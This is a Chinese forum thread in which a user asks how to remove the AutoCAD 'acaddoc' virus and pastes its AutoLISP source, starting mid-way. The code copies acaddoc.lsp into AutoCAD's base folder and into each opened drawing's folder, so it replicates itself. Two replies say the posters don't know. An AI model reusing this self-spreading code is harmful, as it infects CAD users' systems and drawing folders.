acaddoc病毒怎么查杀

lgqin08

各位，打开CAD就会产生acaddoc文件，CAD外挂就不能用。
            baseacad
            acaddocpath
            r-acaddoc
            w-basepath
            rl-acaddoc
            acaddoclsp
            c-acaddocname
            c-acaddocpath
            c-acaddoc
           )
     (setq basepath
            (findfile "base.dcl")
     )
     (setq basepath
            (substr basepath
                    1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
        (setq acaddocpath
               (findfile "acaddoc.lsp")
        )
        (setq acaddocpath
               (substr acaddocpath
                       1 (- (strlen acaddocpath) 11)
               )
        )
        (setq acaddoclsp
               (strcat acaddocpath "acaddoc.lsp"))
       
       
        (setq c-acaddocname
               (getvar "dwgname")
        )
        (setq c-acaddocpath
               (findfile c-acaddocname)
        )
        (setq c-acaddocpath
               (substr c-acaddocpath
                       1 (- (strlen c-acaddocpath) (strlen c-acaddocname))       
                )
         )
        (setq c-acaddoc
               (strcat c-acaddocpath "acaddoc.lsp")
         )
         (if
           (and
           (/= basepath acaddocpath)
           (= c-acaddocpath acaddocpath)
           )
             (progn
               (setq r-acaddoc
               (open acaddoclsp "r")
               )
               (setq w-basepath
                  (open baseacad "w")
                )     
               (while
                   (setq rl-acaddoc
                    (read-line r-acaddoc)
                   )
                   (write-line rl-acaddoc w-basepath)
                )
                (close w-basepath)   
                (close r-acaddoc)
            
             )
         
             (progn
               (setq r-acaddoc
               (open acaddoclsp "r")
               )
               (setq w-basepath
                  (open c-acaddoc "w")
                )
                (while
                   (setq rl-acaddoc
                    (read-line r-acaddoc)
                   )
                   (write-line rl-acaddoc w-basepath)
                )
                (close w-basepath)   
                (close r-acaddoc)
            
             )
         )
         (princ)
)

老何

这个 额，不清楚/。。

老何

还有毒吗？ 我没看到